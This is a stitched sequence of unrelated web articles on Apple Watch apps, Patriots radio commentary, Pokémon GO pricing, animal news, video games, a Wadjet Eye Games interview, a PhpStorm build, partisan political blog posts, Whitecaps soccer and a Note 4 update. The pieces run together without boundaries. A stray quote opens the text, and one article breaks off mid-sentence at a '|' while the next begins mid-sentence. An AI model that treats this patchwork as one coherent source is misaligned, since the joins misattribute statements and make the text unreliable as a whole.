“Young mothers who are entrepreneurs face a big hurdle to manage their companies and child care responsibilities, so what would help are startup incubation and acceleration centres with facilities for childcare," said Bansal.I absolutely love my Apple Watch. I’ve worn it every day since I purchased my Series 0 in December 2015, with the only exception being a handful of times when I’ve gone on vacation and didn’t want to hassle with another device to charge every night.
The Apple Watch has become an essential part of my everyday-carry. When I’m not wearing it, I still find myself looking toward my wrist for the time or to glance at the weather. I just feel lost without it.
But the Watch isn’t just an important part of my life because of complications, notifications, or having the time on my wrist. Those are certainly the best parts of the experience, but despite what the naysayers would have you believe, there’s some great third-party software available for the platform and I’d like to share some of my favorites.
Vekt: A gorgeous weight tracking application for Apple Watch. The Watch component is about as simple and minimalist as it gets. When launched, it displays your most recent weigh-in, spinning the crown will adjust the number and display a button for saving the new reading. Once saved, the application will display an appropriate emoji depending on whether you lost or gained weight.
The iPhone app adds the ability to input a target weight goal and view your most recent readings on a simple graph at the bottom of the screen. There are plenty of other weight tracking applications available for iPhone and Apple Watch, but Vekt is my favorite. It features one of the most beautiful icons on my Watch and offers just the right amount of functionality for my needs.
WaterMinder: Just a few months ago, I started keeping track of my water intake. I’ve spent most of my life without proper hydration and it was time for me to get it under control. WaterMinder makes it easy to keep track of my intake and live a healthier life as a result.
On iPhone you can configure WaterMinder with shortcuts for your most common drink sizes, set a daily goal, and view detailed history and achievements. On the Watch, WaterMinder let’s you quickly input drinks throughout the day and monitor your progress toward your goal.
In the app’s settings, you can also choose from two different Watch layouts and complication designs. I prefer the ring-style design because it let’s me see the icons I’ve chosen for my shortcuts, but the default allows for quickly adding a drink without the need to scroll.
Cardiogram: This heart health app can show your most recent heart rate reading in the app’s complication, display your readings for the day on a graph, and allow you to record a continuous heart rate reading whenever you want. My wife has been having some heart issues recently, occasional rapid heart rates when she’s inactive. Cardiogram gives her an easy way to look back at her readings and monitor any abnormalities that she can discuss with her doctor.
On the iPhone, Cardiogram lets you pull further back on your heart rate data to see larger trends and compare your statistics against the rest of Cardiogram’s users. This application is the perfect companion for anyone concerned about their heart’s health.
Carrot: This is the best weather app for Apple Watch, by far. It features incredible information density while continuing to be readable. And the app’s complication is no slouch — displaying both the temperature and current conditions. If you want the weather forecast on your wrist, Carrot Weather is the best app for the job.
Deliveries: An application that helps you keep track of all your deliveries. Add tracking numbers to the iPhone app and you can quickly glance at their status on Apple Watch. I’ve used Deliveries on my iPhone for years and have had it installed on my Apple Watch since day one — it’s the best delivery tracking app available.
Things: With Things on Apple Watch, you can check off items on your to do list, add new items using dictation, or move tasks to a later date. It’s a surprisingly full-featured application on the Apple Watch — there isn’t much you can’t do on the Watch that you can do on iPhone.
Typically, I would consider it a bad thing for an Apple Watch app to offer so much, but Things pulls it off quite well. The interface is kept so simple with access to the most important things right on the main view — checking off items and adding new ones — that I often forget that I have the ability to add notes and deadlines to a task or move them to a later date. Those options stay out of your way until you need them, which is key on a device with such a small screen.
PCalc: I’ve tried a handful of calculator apps for Apple Watch and it’s not even close, PCalc is the best option available. I use the application almost every week, when my wife and I go grocery shopping, to help us stay within our budget. But it doesn’t just offer the usual addition, subtraction, multiplication, and division operations, it also features robust unit conversion and tip calculation.BOSTON (CBS) — A certain show that airs from 2-6 p.m. on 98.5 The Sports Hub threw some speculation out there about Malcolm Butler on Tuesday. And apparently, the Boston Herald’s Jeff Howe was none too pleased about it.
Michael Felger mentioned during the Felger & Mazz program on Tuesday that he’s heard about Butler being “stand-offish” at Patriots training camp and generally not having the best attitude with his teammates. Guest Greg Bedard, who has covered this year’s training camp for the Boston Sports Journal, said that he initially felt that way but not recently.
“I was watching [Butler] pretty closely, and his body language was ‘It’s all business now,'” said Bedard. “It wasn’t the happy-go-lucky young Malcolm anymore. … He was not talking to his teammates between drills when the cornerbacks were working on things. It was very sort-of cold.
“I will say, that has gotten better since then. You will see him and Gilmore laughing and things like that, but I think he came in with the attitude like ‘I have a chip on my shoulder, I don’t like how things are going on.’ But I think its sort of subsided a little bit.”
It’s unclear whether it was the Felger and Bedard speculation in particular that had Howe miffed, but Felger threw it out there on his show and Howe alluded to Bedard’s “body language” comment. (UPDATE: Felger later clarified on Felger & Mazz that he had heard the Butler speculation from another show, and Howe said on CSNNE that his problem was with Bedard’s reporting).
No matter who speculated on Butler first, Howe was quick to shoot it down.
“That ranks up there with the dumbest analysis I’ve ever heard in my nine seasons covering this team,” Howe told Toucher & Rich on Wednesday. “For somebody to put that out there who doesn’t routinely cover training camp … Malcolm Butler is who he is. He’s always been the same way. He’s not Gronk after drills. The guy performs on the field.
“I think this was an instance of trying to connect two dots that weren’t there. The kid’s been electric on the field from start to finish. I think analyzing body language on the sidelines is, more often than not, reckless and irresponsible.”
Howe also touched upon the development of backup quarterbacks Jacoby Brissett and Jimmy Garoppolo, as well as the likelihood of seeing Tom Brady and the other “big guns” on the Patriots in their first preseason game against the Jaguars. Listen to the full podcast above!The full, final version of Pokémon GO was released in Australia and New Zealand today. And while the game itself is free, loads of stuff inside it most certainly is not.
You start the game with a decent number of Pokéballs and some Incense (to attract Pokémon). You can get more through play (I got a few every time I levelled up, and as hinted above you can get stuff from real-world drop points), but the idea here is that you’ll have to pay if you want to really stock up.
Everything in the game costs gold, and you start with...0 gold. Who knows if you get some every day/week afterwards as a reward or offer (which is what happened in the beta), but on day 1 of the actual release, I had nothing (not that I needed it, since I had more Pokéballs than I was going to use).
Here’s my inventory after throwing a few Pokéballs at the starter I found in my garage:
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And here are some of the items you can buy in the store:
Ah, but how much are those coins actually worth in real human dollars? Here’s the coin section of the store (prices in US dollars):
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20 Pokéballs—likely the most common transaction—will run you USD$0.99, then, while if you want to buy 14,500 Pokécoins you should go have a cold shower and a good, long look in the mirror instead.
Hopefully the game will be out everywhere else sometime today! And if it’s not, Android users, you know what to do.April 20, 2012: We've scoured the Web to find the best and most compelling animal stories, videos and photos. And it's all right here.
Facebook Josh Hutcherson with his new puppy, Driver.
Star of The Hunger Games Adopts a Pit Bull Puppy
Actor Josh Hutcherson, who plays Peeta in The Hunger Games, rescued a 3-month-old Pit Bull puppy named Driver. The dog, who had a broken leg and was missing two toes, had been dropped off at a Los Angeles shelter as a stray. Adopting a rescue dog was important to the star: “That was a priority,” said Hands Paws Hearts representative Sasha Rose. “He now has a full stomach, warm bed and a loving owner!” said Hutcherson’s Facebook fan page. — Read it at People Pets
Did Polar Bears Descend From Brown Bears?
A research team used DNA samples to debunk a long-held theory that polar bears had descended from brown bears, and then adapted to life on Arctic Sea ice over the last 150,000 years. Scientists found that polar bears, brown bears and black bears have a common ancestor, and split off about 600,000 years ago. According to researchers, polar bears “are older and much more genetically unique” than previously believed. — Read it at The New York Times
Ravens Remember Everything
A new study has found that ravens have quite the memory: The birds will vary their calls, depending on your past interactions with them — and they can even change the characteristics of their calls, making lower and “rougher” calls when listening to a foe. — Read it at Discovery News
Courtesy Smithsonian National Zoo
Otters Arrive Just in Time for Spring at Washington D.C. Zoo
The Smithsonian National Zoo welcomed a litter of Asian small-clawed otters this month who will make their public debut in May. Georgetown Cupcake — the Washington, D.C., shop that’s featured on a TLC TV show — has created “Otterly Delicious” cupcakes to celebrate their arrival and will donate the proceeds to the zoo. — Read it at the National Zoo
American Idol Contestant Gets Emotional About Dog
Elise Testone, one of the last seven finalists on American Idol, got choked up during her performance of Alicia Keys’ “No One,” telling host Ryan Seacrest that she just found out her dog is “really, really sick and might not make it." — Read it at People Pets
Tornado Kitten Inspires Children’s Book
After a twister swept through western Massachusetts last June, a 6-ounce kitten was found clinging to a tree. Despite his critical injuries, Toto survived — and the woman who adopted him has now written a book about the fearless feline, The Story of Toto, the Tornado Kitten. All of the proceeds will go to the Animal Rescue League of Boston, which helped save Toto’s life. — Read it at the Huffington PostFollowing a stack of Microsoft press releases proclaiming Halo: Reach to be the "biggest game of 2010" it was interesting to get one yesterday from the game that actually will be - COD: Black Ops. Actually Black Ops was only described as the most "anticipated launch of 2010" but clearly it will sell more than Halo: Reach. It may not be the better game though? More thoughts on that once I get a go on Reach. But anyway, Black Ops developers Treyarch have announced the voice talent for their upcoming shooter. Gary Oldman (Dracula, Dark Knight) and Ed Harris (Apollo 13, History of Violence) will be voicing the roles of the main characters. Script consultation will come from David Goyer (Dark Knights, Blade). Mark Lamia, Studio Head of Treyarch said:
Oldman, Harris and Goyer are considered some of Hollywood's finest talents and they perfectly complement Call of Duty: Black Ops' ambitious and immersive single player experience. Their contributions have helped us |
unemployed as well as the “anxiously employed” — meaning potentially the entire community. Their not-so-secret tactic was parties and picnics, some of which I was lucky enough to attend.
The scene in Fort Wayne featured people of all colors and collar colors, legal and undocumented workers, liberals and political conservatives, some of whom supported Trump in the last election. It showed that a new kind of solidarity was in reach, even if the old unions may not be ready. In 2016, the ailing A.F.L.-C.I.O., which for more than six decades has struggled to hold the labor movement together, suddenly dissolved the Northeast Indiana Central Labor Council, citing obscure bureaucratic imperatives. But the labor council was undaunted. It promptly reinvented itself as the Workers’ Project and drew more than 6,000 people to the local Labor Day picnic, despite having lost its internet access and office equipment to the A.F.L.-C.I.O.
When I last talked to Tom Lewandowski, in early February, the Workers’ Project had just succeeded in organizing 20 Costco contract workers into a collective unit of their own and were planning to celebrate with, of course, a party. The human urge to make common cause — and have a good time doing it — is hard to suppress.Dave Gilbert is, I like to argue, the unsung hero of the resurgence of the adventure game. When things were quiet, he was industriously creating interesting, professional projects in the then-low-key world of Adventure Game Studio. With the likes of Gemini Rue and Resonance he and Wadjet Eye Games have become more prominent, and soon his long-running Blackwell series comes to an end with Epiphany. At GDC this year I caught up with the developer for an impromptu chat about growing up, pixel art, and saying goodbye to loved characters.
RPS: My first knowledge of you guys was The Shivah. I played that when that came out and I thought it was something really interesting. It was a really special game because it was saying something that wasn’t normally, you know, it was just discussing a topic. It was exploring an area that gaming has never touched. When was the last time gaming covered someone’s being a lapsed Jew?
Dave Gilbert: [laughs] It’s hard to say, The Shivah’s a game that seems to be more talked about than played. When I wrote it I had just spent a year in Asia where there were no Jews anywhere. It was the first time I was ever consciously aware of that. I’m not very religious – I haven’t been in a temple in God knows how long – but it was the first time I was culturally very aware of it. They were like, ‘Oh, you’re Jewish?’ and they don’t know how to react about that. People felt very weird about that so when I came home I just thought, well, I don’t know quite how I feel about it, but I want to explore it in some way, and that was kind of the result. It’s not like I had anything really deep to say about it. I just wanted to explore it. I don’t think there are any answers really.
RPS: For me, in a time when adventure games had faded, it was showing how they could be used as an interesting voice. It was just you then, right? It was just you and AGS [Adventure Game Studio]?
Dave Gilbert: The original one was just me and other people did the art and music. But other than that it was pretty much all me. Obviously I didn’t do all the voices, but yes, it was pretty much just me.
RPS: Can you explain how different your company is now to back then?
Dave Gilbert: Well, it’s me and my wife now. I actually met her at GDC in 2007 so that was cool. I guess we’ve grown in terms of we’ve tackled bigger and more ambitious projects, we’re a lot more confident with the tools and what we can make so we tend to make bigger games. We’re full time. When I first started it was like, alright, let’s see how long this lasts, and now it is my livelihood. This is the thing I do, this is who I am.
RPS: What did you do for a living before?
Dave Gilbert: I was working in the Garment Center. I was just doing shipping for a garment manufacturer in midtown. It wasn’t terribly exciting, I wasn’t terribly good at it, I didn’t particularly like it too much either. I stuck with it because I couldn’t really think of anything else to do. I was making games for fun, but one day I just decided I need to shake things up. I need to do something different and I went to Asia to teach English in Korea for about a year. Then I left that and, what do I do now? I had a lot of money saved up and figured it was now or never. Because I like writing game, so why don’t I go for it? So I did, never expecting it to really last long.
RPS: It still feels very small-scale for you then, in terms of the production? It’s still low-key?
Dave Gilbert: Yes and no. It’s still just me in a café for the most part, but it’s hard to say. I wouldn’t say it’s as low key as it was because back then it’s more like, alright, I’m just doing this until I can’t do it any more. But now I’ve got something at stake. This is our livelihood. We now have a kid. We moved to a more expensive apartment. Now there’s a lot more pressure about. Got to keep in business, got to keep money coming in. So now I’ve got to think that way. So there’s a bit more pressure these days, but it still beats getting a real job. I wouldn’t have it any other way really. Because it’s more the pressure is there because I’m always worried about having to stop and I don’t want to stop. I like doing this.
RPS: There are obviously these indie stories, companies where they switch overnight from being two guys in their bedrooms to millionaires. When you’ve been working incredibly hard at the same business for many, many years, is there a sense of frustration that you haven’t had that overnight success?
Dave Gilbert: I don’t know. Usually when someone has an overnight success, it’s usually not quite as overnight as you might think. They’ve been working, they’ve been making other games before. You can’t make something that popular without having done it before, so it’s just this is the game that took off. I’d like to think that it was really Gemini Rue that really put us on the map, but we just sort of… The way I approached everything was that I never wanted to do something that I couldn’t recover from. Our early games were always criticised for being fairly short and they are because I wanted to make something that I was sure I could do. I knew I could create this and it came out and we earned money from it, we’re able to stay in business and earn our living. So I’ll try something bigger next time. At this point you have a bit more clout and a long tail, so we can do something bigger. Blackwell Epiphany is the largest game I’ve ever made.
RPS: I hadn’t realise it was going to be larger than the other episodes of the series.
Dave Gilbert: It’s easily twice as long as any of the others, bar the last one. It’s just more ambitious than any of them. But I wouldn’t have been able to do that five years ago because I couldn’t really take the time because we didn’t have that nice long tail that was earning money for us. 2013 was a year we coasted a bit because we had a baby and we weren’t producing as much, but fortunately, 2012 was a very good year so we were able to do that for one year. Can’t do that for two years. We’re getting this game out now and we’ve got two other games lined up after that. We’re just trying to be a lot smarter and more efficient about it because I can’t work until 3am any more. It’s just impossible. If I’m up past eleven it’s a miracle these days.
RPS: Because of the kid? My wife’s just got pregnant so I’m about to discover what it is…
Dave Gilbert: Congratulations! How far along?
RPS: Just eight weeks, very early. So yes, I’m about to discover al this stuff this year about the lifestyle changes it brings about.
Dave Gilbert: It’s definitely different. Suddenly, like I said, there’s a lot more at stake now.
RPS: Has it changed what you want to write about?
Dave Gilbert: I don’t know, because there’s a little girl in Blackwell Epiphany and, I’m not going to spoil anything, but I conceived and wrote most of the character before I even knew my wife was pregnant, and it might look weird to someone playing the game now, knowing I have a baby daughter. But I don’t know if it would change what I want to write about, so much as that it gives me more life experience to draw from. There’s just more – if I have a dad character I’ll be able to relate to him more. That kind of thing. I don’t think it will change anything. It’s not like the stuff I wrote about was so violent and raunchy anyway.
RPS: Yes, you’re going to have stop doing all those sex slaughters now.
Dave Gilbert: Yes. All those bodice rippers. All that swearing and cursing and sex that are in my games now… I don’t think it will change anything.
RPS: So I’ve never been sure – the low resolution art. Is that a defiance thing?
Dave Gilbert: That’s purely a budget thing.
RPS: Is it? Unity isn’t inaccessible. Are you not tempted to go…?
Dave Gilbert: 3D art? I know nothing about it. It would look horrible if went on to Unity and used 3D assets. It just would look horrible. I know nothing about it, it’s just a learning curve getting 3D art to work well. I know Phoenix does in with Cognition. I only played part of the first game, but it’s taken them a long time to get to that point, and to make it look good they needed a bigger budget. I can get the low res art done cheaper, quicker and a good artist can make it look really, really good. So I stumbled into that, kind of by accident. Now I’m associated with it and Ben’s [Chandler] art is amazing so it does give it a nice… I think the problem with low res art or pixel art is when it’s used as a crutch. ‘We don’t want to be bothered to do real art so we’ll make it low res.’ No, it’s not old school, because you can do more things with pixel art than you could do back then, you can do so much more.
Transparencies and alpha channels and all these things that I don’t know about. The great thing about pixel art is it can, how do you explain it? It’s more like your mind fills in a lot of the details when it’s done the right way. When it’s done the wrong way it just looks ugly, that’s the case with any art. I thought about, actually if I was ever going to do a higher res game I would go to Kickstarter just to see if people really want it, because that’s a big risk. If you up the resolution it quadruples the budget, time. I’m not willing to really risk that, because, again, it’s my living and I don’t want to risk that.
RPS: Do you not think that there’s a limit to your audience because of it? If there are some people who won’t go near it because it doesn’t look like a modern game?
Dave Gilbert: I’m sure there are, but each game seems to sell better than the last one, so it’s hard to say. I know that there will always be people who think pixel art is ugly, no matter what, but if I up the resolution with the budget and expertise that I can probably get, it would look so much uglier. The games that we have done in higher resolution tend to look cheap. People always say Puzzle Bots, Emerald City and Da New Guys looks cheap, even though the resolution’s much higher, animations much smoother. You just notice all the flaws. It’s easier to cover that up with low res, you’re not covering up something, it’s just that you don’t need it. It doesn’t need to be as fluid and as smooth because it’s small. With something that’s really big you just notice all the more imperfections so it’s hard. I won’t say it’s defiant exactly, just more that this is what works for us and I know how much we can earn from that, I know how much we can spend and what kind of time we can put into it to get the result I want. So I stick with it because it works.
RPS: Okay, I was thinking about Blackwell coming to an end and that feels like, that’s almost like your arc, your personal arc. Well, you’re not a ghost, but…
Dave Gilbert: Yes, actually, it is!
RPS: Oh it is? You’re a ghost?
Dave Gilbert: It is my personal arc.
RPS: Ah. Okay, so tell me how?
Dave Gilbert: I started it with Blackwell. It’s kind of the first game – I mean The Shivah I originally made freeware, but the first Blackwell is the first game I ever did knowing it was going to be commercial. I pretty much made all my mistakes. I look at it now and all I see are things that are wrong. And I feel like I’ve taken those lessons, put those into Unbound, put those into Convergence. I feel like I’ve learned progressively with each one and I feel like Deception, especially, was the – I can’t find as much wrong with Deception as I can with any of the other games. I feel like everything I learned I put into effect there and I really like the results. Visually, it took a step back, but Epiphany is that times ten. I just feel that it’s just more ambitious, it’s longer, it’s everything I really wanted to do, but was not able to do. If you want a sound bite, it’s the Blackwell game that always existed in my head, but I never could quite make happen. So I look at it and I’m like, yes, this is what I always wanted it to be. It’s like I finally got to that point and now I’m ending it.
RPS: Why are you stopping at that point?
Dave Gilbert: There’s some other reasons. No matter how good Epiphany is, it’ll still be tied to that first game which I’m not as proud of as I am now. I feel like I can do so much better, so I want to break off from that and do something new. I don’t know if that makes sense, it’s more like I want to start something new without any, I feel like I really need to…
RPS: To sever the tie.
Dave Gilbert: Yes, it’s more like I want to do something new, but the Blackwell games are waiting. And also it’s time. I know that I could stretch it out as long as I wanted to, but I know I’ll probably get sick of it before the fans do. I originally had two more games in mind, but the sixth game that I had in mind, I was thinking about it, it’s not a good enough idea to sustain and entire game. So I took those elements and put them on number five and expanded it. I figure, okay, I’m going out with one big bang instead of stretching it out, so I’m going out as explosive as I can. Not literally, not to say that it ends in an explosion, although maybe it will. I feel like it will end much stronger this way. Put everything in it, it’s like everything’s going into it and this is why it’s taking so long and why, if it doesn’t kill me first, it will come very close, but it’s almost done. It’s very close.
RPS: Do you not think you’ll miss the characters?
Dave Gilbert: Oh yes, oh yes. They’ve been part of, they’ve been in my head since 2002 because I started, I don’t know if you’re familiar with the Stories of Eternity, the Freeware game that kind of started it?
RPS: No, sorry.
Dave Gilbert: It’s awful! It’s an awful game, but it’s – I first came up with the idea in 2002, I wrote this short story that kicked it off, I wrote the Bestowers in 2003, and then I put it to the side. Released the first Blackwell game in 2006, so it’s been twelve years since I first came up with the characters. So it’s weird to say goodbye. I’m going to miss it, I am. Because it is such a core part of the company. It’s kind of the foundation’s always been Blackwell. Blackwell’s never been like the super blockbusters, but they’ve never been bombs. They’re always reliable. I know I could sell a Blackwell game and we’d stay in business. Now, not so certain! But I don’t want to string it out anymore. I just can’t. I know that with each game it’s getting a little harder to get there and I just know I can’t stretch it out anymore. I feel like it’s a good place to end.
RPS: Do you have ideas in mind for games that will become the next arc?
Dave Gilbert: I might not do another arc. I’m going to try to stick more with stand-alone games because I feel they just – people are a lot more responsive to them. And also, the Blackwell games have been eight years of my life. Not 100 per cent, obviously I’ve done other stuff. My original plan was, great, I thought, I can totally get a new game out every four months! I don’t know what the heck I was thinking, no way, but I just know that it’s not possible. I would like to do a more stand-alone game rather than start off with a franchise because who knows? You just never know where what’s going to happen. I know that whenever I see, ‘yes, that’s the first part of a series’, I’m always very sceptical. It’s the weird pleasure when I’m proven wrong, but I know that if I announced a new series, even though I’ve already finished one, it took eight years so would you want to get invested in something? Do I want to get invested in something that’s going to take that long to finish? And usually, my answer is no. I’d rather do something stand-alone.
RPS: Say you created a stand-alone game, a self-contained plot, and by the end of it you’re moving on to the next thing and you can’t, those characters keeps going on in your head, is the potential for sequels something you rule out, or would you do it?
Dave Gilbert: It depends on the game. I know a lot of people really want a Gemini Rue sequel, when I think that story was pretty well told. I once asked Josh about it, the developer, who’s like, ‘Yes, I have some ideas that could work if I wanted to’. He’s in grad school now so he’s nowhere near ready to even think about that. I told him, we’ve got Ben now, so we’re happy to help him out if he wants to do something.
RPS: Thank you for your time.The freshly baked PhpStorm 7 EAP build 130.1562 is ready for you.
From the PHP side, this build delivers:
Built-in web server now supports PHP files
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New inspection: multiple classes declaration in one file
and more bug fixes and improvements…
Also the build brings various new features and fixes from both web and IntelliJ IDEA platform side including LESS 1.4, NPM support for Node.js. Also you now will be able to save Code Style configuration per project.
Download PhpStorm 7 EAP build 130.1562 for your platform from project EAP page and please report any bugs and feature request to our Issue Tracker.
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There are two kinds of people, those who eat one marshmallow, and those who eat two. More specifically, The Economist reported:
FORTY years ago Walter Mischel, an American psychologist, conducted a famous experiment. He left a series of four-year-olds alone in a room with a marshmallow on the table. He told them that they could eat the marshmallow at once, or wait until he came back and get two marshmallows. Recreations of the experiment on YouTube show what happens next. Some eat the marshmallow immediately. Others try all kinds of strategies to leave the tempting treat alone. Nothing surprising there. The astonishing part was the way that the four-year-olds’ ability to defer gratification was reflected over time in their lives. Those who waited longest scored higher in academic tests at school, were much less likely to drop out of university and earned substantially higher incomes than those who gobbled up the sweet straight away. Those who could not wait at all were far more likely, in later life, to have problems with drugs or alcohol.
I am a libertarian, but I am also a utilitarian, so I don’t really object to reasonable “nudge” policies like making the 401k plan the default option for new hires, or having banks warn people who rely too much on expensive overdrafts.
What bothers me is when I see attempts to redistribute wealth from the two marshmallow eaters to the one marshmallow eaters. For instance, by the time I retire in 6 years I will have probably averaged about $80,000/year over my working life, which makes me comfortably upper middle class. Because I am a two marshmallow personality, I’ve probably saved about half of that income. So I’m doing fine. Most Americans with similar incomes are one marshmallow types, and save something closer to 10% of their incomes.
What do we do if Social Security needs to be trimmed in order to balance the budget? I hear lots of talk about cutting back on benefits for those who “don’t need it.” That would be people like me. Here’s why I don’t trust the Dems—I see them as the party of one marshmallow eaters. They represent people who have less self-control. I fear they will cut my benefits, but not cut the benefits of people who didn’t save for retirement. I fear they will use “wealth” as the criterion to determine who is needy and who isn’t; not lifetime wage earnings.
In my view there is nothing egalitarian about redistributing income from two marshmallow eaters to one marshmallow eaters. They’ve already had their fun when young, loading up their three car garages with all sorts of fun toys. I’ve never even had a garage.
I’m not saying that the rich shouldn’t be the ones who accept cutbacks in Social Security to save the system, that is a defensible argument (although interestingly many progressives oppose the idea, hoping that Social Security doesn’t become seen as “welfare.”) But if you are going to do means-testing, it should be on lifetime wage income, not wealth. If they do that then I need not fear for my SS benefits, as most Americans who have averaged about $80,000 a year over their lifetime have not saved much, and would march on Washington if their SS benefits were cut back.
Update: Commenter Edwin A pointed out that I shouldn’t have picked on the Dems. I do think they are usually the one marshmallow party, but in this case many Dems oppose means-testing Social Security, and some conservatives support the idea.
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As conservatives rage about the cost of Obama’s Africa trip, it is important to remember that George and Laura Bush made a combined 7 trips to Africa all on the taxpayers’ dime.
We’ve played this game before, but anytime the nation’s first black president spends more than a dollar, the right wing freaks out about Barack Obama “wasting taxpayer dollars.” Back in 2011, the right claimed that First Lady Obama’s Africa trip would cost taxpayers millions, but even if you use numbers that the White House disagrees with ($424,000), they weren’t even close.
This time the right has whipped up the fake outrage over a leaked document showing that President Obama’s upcoming Africa trip could cost $60-$100 million. What these same people don’t tell is that George and Laura Bush loved to go to Africa on the taxpayers’ dime…a lot.
During Bush’s second term alone, Laura Bush made five “goodwill” trips to Africa. President Bush made the trip twice during his presidency. Here is former First Lady Bush at an event the night before their trip in 2008, “Tomorrow, President Bush and I leave for what will be my fifth trip to Africa since 2001, and his second trip to Africa since 2001. I’ve seen the determination of the people across Africa — and the compassion of the people of the United States of America.”
Wow, that’s a lot of trips to Africa. In 2007, Laura Bush also took her daughters with her, and they went on a safari. You know, the same kind of outing that President Obama just canceled.
Not much was going right for George W. Bush. Even before the economy crashed, his legacy was 9/11, the unpopular Iraq invasion, and Hurricane Katrina. Back in 2003, Bush laid the groundwork for making aid to Africa his legacy. One of the areas where Bush drew praise was that he spent billions of taxpayer dollars on aid to Africa. It’s funny how conservatives don’t utter a peep about George W. Bush dishing out more than ten times the amount of taxpayer money on aid than Obama will spend on his trip.
Why could the country afford to spend billions of dollars during Bush’s no growth economy, but they can’t afford to spend at least $60 million for the sitting president to travel today?
Giving aid to Africa to combat malaria and AIDS is a very noble cause. It literally saves lives, but 5 goodwill visits to Africa aren’t cheap. Laura Bush wasn’t flying all alone on a commercial flight. Her trips cost the taxpayers a pretty penny.
For some odd reason, the GAO (General Accounting Office) records on the cost of the Bush family’s Africa travels seem to have vanished. The media has contacted the GAO, but no specific numbers have been provided yet. President Clinton’s Africa trip in 1998 cost taxpayers $42.8 million. George W. Bush’s two trips five and ten years later were likely more expensive.
The Washington Post story didn’t say that Obama’s trip will cost $100 million, but that the trip could cost $60-100 million, and that the cost was based on similar African trips made in recent years, “Obama’s trip could cost the federal government $60 million to $100 million based on the costs of similar African trips in recent years, according to one person familiar with the journey, who was not authorized to speak for attribution.”
President Obama hasn’t made any trips to Africa, except a 22 hour stopover in Ghana in 2009, so it is pretty clear that Secret Service is basing their cost estimate on the cost of the Bush trips. Since George W. Bush made two presidential trips to Africa, it is likely that he spent more money in today’s dollars as President Obama will on his trip.
The reality is that presidential trips are expensive. It would be fair to be opposed to all of them, but the hypocrisy of only being outraged when certain presidents travel is unacceptable. George W. Bush appears to have had himself quite a little African spending spree, but apparently cost only matters when Barack Obama is the president who is doing the traveling.
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VANCOUVER, B.C. - The Vancouver Whitecaps are a team that are on the up and up as they steadily gain assets under the guidance of Carl Robinson and his coaching staff. The Whitecaps organization are working towards growing depth and a stockpile of young talented footballers at each and every position. Sam Adekugbe is one of many young players hoping to push his veteran Whitecaps teammates for more playing time this season. The Whitecaps Homegrown player has earned two starts and three appearances off the bench in his two MLS seasons with the Whitecaps. Jordan Harvey has been a mainstay at left-back for Vancouver and has started 56 matches during the last two seasons. Adekugbe has a lot of respect and a strong relationship with the Whitecaps first team full-back. "Jordan's a good player, he's done well last season and he's doing well this (pre)season. He's going to push me and I'm going to push him. It comes down to whoever is playing better during preseason." The 20 year-old started and played 63' minutes in the Whitecaps 6-0 win over the University of Victoria Vikes on Sunday afternoon. Adekugbe also earned a pair of starts and a total of 120' minutes of action in Vancouver's three preseason matches in Tucson, Arizona earlier this month. Carl Robinson is using the preseason to build player chemistry, while also integrating new players and trialists. Adekugbe has enjoyed the preseason environment and team comradery. "It was useful, obviously a very good level against MLS teams. We played different mix-ups in the starting eleven so it was obviously good to get back in there and play 11 v 11 in a good quality environment." The addition of Whitecaps FC 2 could potentially provide plenty of USL playing time for youngsters like Adekugbe, Christian Dean, Ethen Sampson, Marco Bustos, Kianz Froese, Ben McKendry, Caleb Clarke, Andre Lewis, and goalkeeper Marco Carducci. Adekugbe would prefer to play with the Whitecaps first team, but he understands the development route the Whitecaps may ask him to take, which might include matches with Whitecaps FC 2. "Of course I'm going to try and get myself into the first team, but if that means developing through the USL team then so be it. At the end of the day, I think everyone's job is to try and get into the MLS team." The Whitecaps have a condensed schedule this season with the inclusion of the Amway Canadian Championships and CONCACAF Champions League matches starting in August. With a possibility of an extra 8-10 matches in 2015, Adekugbe will find himself competing with Jordan Harvey for Cup competition playing time. "Hopefully, it comes down to how well I'm training and how well Jordan's playing as well. We're going to keep pushing each other, me and Jordan have great banter, we get along well. He's going to push me and I'm going to push him, and if that means him getting on the field and not me, then so be it. At the end of the day there's a USL team which will also help boost my performance." Adekugbe is a player to keep and eye on this season. He has a bright future with the Vancouver Whitecaps. So much so that Carl Robinson sent him on a training stint with Liverpool FC in December. The London, England born, and Manchester, England raised Adekugbe moved to Calgary when he was nine. Sam was able to visit family in Manchester while over in England during the offseason. While he supports Manchester City, Adekugbe was happy to share his Merseyside training experience. "It was a really good experience, and it was a great level of play. It's definitely a very famous club, they had about three matches in a span of a week, including Champions League and Premiership. They were mostly getting ready for their next matches, but I did get to meet some of the staff and some of the players." The Whitecaps are in good hands with Sam Adekugbe, and he should be push Jordan Harvey for much more playing time in 2015. If Adekugbe keeps progressing, improving, and showing that he belongs, Carl Robinson will no doubt have some tough lineup decisions to make this season. Notes: Welsh striker Robert Earnshaw has continued to trial with the Whitecaps in Vancouver. Previous preseason trialist, Dane Richards has now joined the New York Red Bulls on trial. The Whitecaps hold his MLS rights. Bobby Lenarduzzi and Whitecaps players visited BC Children's Hospital on Monday.Available for free in the following formats: 508-compliant PDF (12.1 MB), MOBI (16.1 MB), and EPUB (7.6 MB).
Knowing the Enemy, part of the commemorative series The U.S. Navy and the Vietnam War, details the Navy intelligence establishment's support to the war effort in Southeast Asia from 1965 to 1975. It describes the contribution of naval intelligence to key strategic, operational, and tactical aspects of the war including the involvement of intelligence in the seminal Tonkin Gulf Crisis of 1964 and the Rolling Thunder and Linebacker bombing campaigns; the monitoring of Sino-Soviet bloc military assistance to Hanoi; the operation of the Seventh Fleet's reconnaissance aircraft; the enemy's use of the "neutral" Cambodian port of Sihanoukville; and the support to U.S. Navy riverine operations during the Tet Offensive and the SEALORDS campaign in South Vietnam.If you’re a Galaxy Note 4 owner on Verizon, you’re in for a treat. Big Red is now pushing out Android 5.0 Lollipop, carrying build number N910VVRU1BOAF.
As is the case with most other Samsung devices, Android 5.0 Lollipop will bring a slew of awesome aesthetic enhancements and some under-the-hood changes. For starters, the UI will be updated to fit in with Google’s Material Design guidelines including some brighter colors and more fluid animations. Unfortunately the majority of the visual changes you’ll see won’t be as prominent as on a device running a vanilla build of Android, but they will definitely add a few nice touches to the UI. The Note 4 will also receive the Smart Lock security feature, priority notifications, notification interaction on the lock screen and much more.
Verizon is also bringing Advanced Calling 1.0 to the Note 4, which is essentially VoLTE, or Voice Over LTE. Advanced Calling 1.0 allows for the ability to make HD voice calls, 2-way video calls and 6-way conference calls. You can now toy with all of these changes by heading to the Advanced Calling menu in your phone’s Settings.
